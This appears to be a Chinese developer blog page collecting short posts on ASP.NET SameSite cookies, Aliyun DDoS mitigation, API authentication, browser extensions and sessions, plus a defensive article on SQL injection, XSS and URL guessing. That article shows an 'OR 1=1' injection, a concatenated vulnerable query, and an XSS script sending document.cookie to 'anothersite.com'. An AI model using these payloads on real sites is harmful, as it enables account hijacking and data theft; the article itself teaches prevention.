博客 (12)

问题复现

使用 .NET Framework 开发的网站项目，用 QQ 浏览器访问无法登录成功，用其它浏览器（如 Edge）没有问题。

只有访问 https 地址时出现问题。

原因

在 HTTPS 协议下，现代浏览器（特别是 QQ 浏览器）会强制执行安全策略。根据规范，当 Cookie 设置了 SameSite=None 时，必须同时设置 Secure 属性，否则浏览器会静默拒绝（丢弃）该 Cookie。

解决方案

方法一：如果您是通过 web.config 配置的，请确保 <system.web> 节点下的 <httpCookies> 设置正确，并且您的 .NET Framework 版本支持这些属性（4.7.2+）。

<system.web>
    <httpCookies sameSite="None" requireSSL="true" />
    <sessionState ... />
</system.web>

方法二：在 Global.asax 文件的 Application_PostAuthenticateRequest 或 Application_EndRequest 事件中，强制为 Cookie 添加 Secure 属性。

protected void Application_PostAuthenticateRequest(object sender, EventArgs e)
{
    // 仅在 HTTPS 环境下处理
    if (Request.IsSecureConnection)
    {
        HttpCookie sessionCookie = Response.Cookies["ASP.NET_SessionId"];
        if (sessionCookie != null)
        {
            // 强制设置 SameSite=None 和 Secure
            sessionCookie.SameSite = SameSiteMode.None;
            sessionCookie.Secure = true; 
            Response.Cookies.Set(sessionCookie);
        }
    }
}

检验

确认 Set-Cookie 的值变为：

ASP.NET_SessionId=...; path=/; HttpOnly; SameSite=None; Secure

前面写过一篇文章介绍了不买高防 IP，照样抵挡 DDoS 攻击（IP 篇），如果攻击的是域名（CC），那么...

本文适用场景：攻击的是 web 网址而非 IP，来源有许多各地的 IP 地址，每个 IP 地址每小时只有若干请求，但整个网站每分钟有数万请求量。

《小白鼠A》（贵）

阿里云有一款产品叫“Web 应用防火墙”，开通并接入云产品，试用按量付费即可。

在防护配置-Web核心防护 中可配置各种规则，譬如：

“自定义规则”可添加网址/UA/IP/Cookie/等中包含某些关键词的请求；

“区域封禁”可按地区来限制请求；

另外还有“CC防护”等各种实用规则。

添加规则后记得关联实例。

配置完成后可在总览页面查看请求情况，如果攻击停止可关闭防火墙。

试用了12小时，平均每分钟请求2-5万次，消耗 15000SeCU，费用大概是750元。

《小白鼠B》（推荐）

阿里云有一款产品叫“边缘安全加速 ESA”，开通接入域名（注意填写域名时不要写 www）。

创建购买成功后会有一个 CNAME 域名，解析生效。配置 HTTPS 证书。

打开“我正在遭受攻击”，开启后站点进入严格防护模式，默认对所有 HTTP 请求做滑块挑战。这是非常能节省费用的操作，实测开启与不开启的数量相差20倍（具体视攻击强弱）。

另外，ESA 自带的“安全防护-WAF”中若想根据 URL 中包含某个关键词来拒绝请求，需要升级套餐。可以直接在“规则-重定向”设置 302 跳转也能达到类似的效果，但是节省流量的最好办法还是开启滑块。

费用的话，大部费用是由“客户端请求到边缘加速服务器的流量”和“边缘加速服务器响应给客户端的流量”组成的，而且滑块页面不计入流量。可免费试用。

在开启滑块的情况下，1分钟产生10M流量，基础版包含的50GB可以用3天。标准版（500GB）375元可以用一个月。（以我站实测为例，各站情况不同）。

具体费用在“计费管理-套餐管理-套餐总量 (月)-”查看。超过套餐的流量会使用CDN流量包抵扣。

ECS 获取客户端 IP 的问题有两种解决方案，1. 设置四层代理分析（企业版），2. 设置重定向规则，重定向到直接解析到该网站的另一个域名。

为了尽量减少滑块对用户体验的影响，建议加白名单：ESA-站点-安全防护-WAF-白名单规则，譬如添加省份规则，跳过全部规则（包括滑块）。

其它问题：滑块会拒绝蜘蛛？

其它相似产品：Cloudflare、腾讯云 EdgeOne。

----------------下面是停站维护时显示临时页面的做法----------------

被攻击期借用阿里云 OSS/CDN 显示“维护中”页面的方法。

1.

首先让 AI 快速生成一个维护中的页面，上传到 OSS。

虽然这个文件有一个对应的 CDN 链接，但是域名解析使用“显性 URL”模式并不能正常访问到这个页面。

2.

在阿里云 CDN 添加一个域名（也就是网站域名），会生成一个 CNAME 域名，网站域名 CNAME 到这个域名上。

配置这个 CDN 域名的 OSS 实例、HTTPS 等信息。

这样生效后，访问网站域名就能请求到这个 OSS 上了。

3.

但是它并不像网站一样有默认文档，需要添加重写规则。

打开 CDN-域名管理-缓存配置-重写访问URL，添加，添加重写规则。

例：如果目标页面路径是 https://域名/index.html，那么重写规则就是：

^/(?!.*index\.html$).*$

也就是把所有除 /index.html 以外的路径全部重写到 /index.html。

4.

下一步只要观察这个域名的实时流量和带宽，如果攻击停止了，将域名解析回 ECS。

CDN-统计分析-实时监控-访问数据-选择域名-查询。

本文介绍 Token 认证和 HMAC 认证两种方式。

一、Token 接口认证方式

原理：

客户端使用账号密码等信息登录，服务器验证通过后生成一个 Token 发送给客户端。客户端在后续的请求中携带这个 Token，服务器通过验证 Token 来确认用户的身份和权限。

应用场景：移动应用、Web 应用（特别是 SPA）

优点：

无状态性，即服务器不需要存储用户的会话信息。

易于实现跨域认证。

缺点：

Token 可能被窃取，应使用 HTTPS、不暴露在 URL 中、使用 HttpOnly 的 Cookie、对 Session ID 进行验证、设置合理过期时间、对 Token 进行加密等措施加强防范。

二、HMAC 接口认证方式

原理：

客户端将消息M与密钥K连接起来，通过哈希函数计算得到 HMAC 值，发送给服务器。服务器收到请求后，使用相同的密钥和请求参数重新计算 HMAC 值，如果与客户端发送的签名一致，即是合法请求。

优点：

安全性较高，攻击者很难伪造 HMAC 值，截获并篡改数据也无法通过服务端验证。

计算效率较高，哈希函数（如 MD5、SHA-1、SHA-256 等）计算效率比较高。

缺点：

密钥的更新和管理比较麻烦。

扩展：

在消息体中添加时间戳以防止重放攻击。

加密隐私数据：可以使用对称加密算法（如 AES）或非对称加密算法（如 RSA、ECC 等）对部分隐私数据进行加密。非对称算法虽然更安全，但速度较慢，如需加密大量数据，可以考虑使用对称加密算法进行加密，然后使用非对称加密算法对对称密钥进行加密。

本文基于 manifest v3

插件使用 Web 技术开发

浏览器提供额外的插件 API

插件与网页分离，运行在一个独立的环境中

插件 API 功能

• 管理 Tabs、窗口、历史记录、书签、Cookies、下载、浏览数据、通知、网站权限

• 管理浏览器的外观和感觉 - 背景、主题、右键菜单、新标签页、启动页面

• 定制 DevTools

• 向网页注入脚本，与网页通信，与系统中的 Native 应用程序通信

• 修改/监听发送的 HTTP 请求/接收的回复

插件构成

* 即便 content script 是注入到网页中的，而且是运行在 Renderer 进程（与主网页相同的进程），但是它们仍运行在不同的世界（world）。主网页运行在 main world，插件的 content script 运行在 isolated world。比如说 main world 中有一个变量，它在 isolated world 中是访问不到的，但是如果修改了 dom，对其它世界是有影响的。

将 Chrome 插件迁移到 Edge

• 移除 Chrome 独有的 API（如调用 Google 账户）

• 移动 update_URL 字段（如果是从 Chrome 商店直接下载的包会有这个字段）

• 改名 Chrome 相关的文字（插件名称、描述文字）
  

参考文献

1. Microsoft Edge 扩展入门（官方）

2. 一小时精通Edge扩展开发Microsoft Edge 文档（视频）
   

这个现象在国产浏览器上使用极速内核时出现，原因是百度编辑器上传图片功能通过 <form /> 提交到 <iframe /> 时，因跨域导致 cookie 丢失。

ASP.NET 的 ASP.NET_SessionId 默认的 SameSite 属性值为 Lax，将其设置为 None 即可：

protected void Session_Start(object sender, EventArgs e)
{
    // 解决在部分国产浏览器上使用百度编辑器上传图片时（iframe），未通过 cookie 传递 ASP.NET_SessionId 的问题
    string ua = Request.UserAgent ?? "";
    var browsers = new string[] { "QQBrowser/" /*, "Chrome/" 不要直接设置 Chrome，真正的 Chrome 会出现正常页面不传递 Cookie 的情况 */ };
    bool inWeixin = ua.Contains("MicroMessenger/"); // 是否在微信中打开（因微信PC端使用QQ浏览器内核，下面的设置会导致其网页授权失败）
    if (browsers.Any(c => ua.Contains(c)) && !inWeixin)
    {
        Response.Cookies["ASP.NET_SessionId"].SameSite = SameSiteMode.None;
    }
}

以上代码加入到 Global.asax 的 Session_Start 方法中，或百度编辑器所在页面。

注意一：SameSite=None 时会将父页面的 cookie 带入到 iframe 子页的请求中，从而导致 cookie 泄露，请确保项目中无任何站外引用，如网站浏量统计器、JS组件远程CDN等！

注意二：微信PC版的内嵌浏览器使用QQ浏览器内核，以上代码会导致其微信网页授权不能正常执行。

Session 有多种存储模式，默认是 InProc，顾名思义是“在进程内”，即在 IIS 中，随网站重启而重启，网站发布后（或改动 .dll 文件）会导致应用重新运行，Session 清空。

Session 可以使用 StateServer 来保存，需要服务器开启 ASP.NET State Service 服务，此种方式要求保存在 Session 的信息必须序列化，然后从 Session 中获取的时候也要反序列化，这就导致性能有略微的损失。

Session 还可以配置为 SQLServer，将 Session 存储在数据库中，同样需要序列化。

当配置为 Custom 时，可以在使用 Memcached、Redis 等第三方缓存技术来实现 Session 的管理，本文不作讨论。

Off 模式即关闭 Session，这种方式如果要实现用户登录功能，就必须依赖 Cookie 等来实现。

下面针对常见的三种模式进行比较：

因此，如果你仅仅为了标题所述的“每次发布后丢失 Session”而烦恼，那么推荐使用 StateServer 模式来存储 Session。

注：

如果 Session 的 Key 是在应用启动时随机生成的话，使用 StateServer 和 SQLServer 还是会“丢失” Session。

这是对 Session 的配置，对 Cache 无效。

1. 在 NuGet 中安装 Microsoft.AspNetCore.Session 和 Newtonsoft.Json

2. 打开 Startup.cs，在 ConfigureServices 方法中加入（视情况配置相关属性）

   services.AddSession(options =>
   {
       // 设置了一个较短的时间，方便测试
       options.IdleTimeout = TimeSpan.FromSeconds(10);
       options.CookieHttpOnly = true;
   });

3. 在 Configure 方法中加入

   app.UseSession();

4. 添加 Extensions 文件夹并添加类 SessionExtensions.cs

   using Microsoft.AspNetCore.Http;
   using Newtonsoft.Json;
   
   public static class SessionExtensions
   {
       public static void Set<T>(this ISession session, string key, T value)
       {
           session.SetString(key, JsonConvert.SerializeObject(value));
       }
   
       public static T Get<T>(this ISession session, string key)
       {
           var value = session.GetString(key);
           return value == null ? default(T) :
                                 JsonConvert.DeserializeObject<T>(value);
       }
   }

5. 使用方法

   HttpContext.Session.Set("abc", 123);
   var v1 = HttpContext.Session.Get<int>("abc");
   HttpContext.Session.Remove("abc");
   var v2 = HttpContext.Session.Get<int>("abc");
   // v1 = 123, v2 = 0

互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说，假设页面输出为：

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

收录了一些个人觉得不错的网页开发插件。

由于插件更新频繁，本页如有错误请指正，也欢迎告知更多功能强大、使用方便的插件。

方法：
    write,向HTML动态写入内容
    writeln，多加一个换行
    open,与window.open类似，不建议用
    close,当向新打开的文档对象中写完所有的内容后，一定要调用该方法关闭文档流
    clear,用于清除文档中的所有内容，建议用document.write("");document.close();这两条语句来实现同样的功能。
    getElementById,返回id的对象
    getElementByName,返回name的对象组（注意是数组）
    getElementByTagName,返回标签名的对象组
    createElement,产生一个代表某个HTML元素的对象，随后再其它方法将这个对象插入到文档中。
    createStyleSheet,为当前HTML产生一个样式表或增加一条样式规则。
属性：
    document.cookie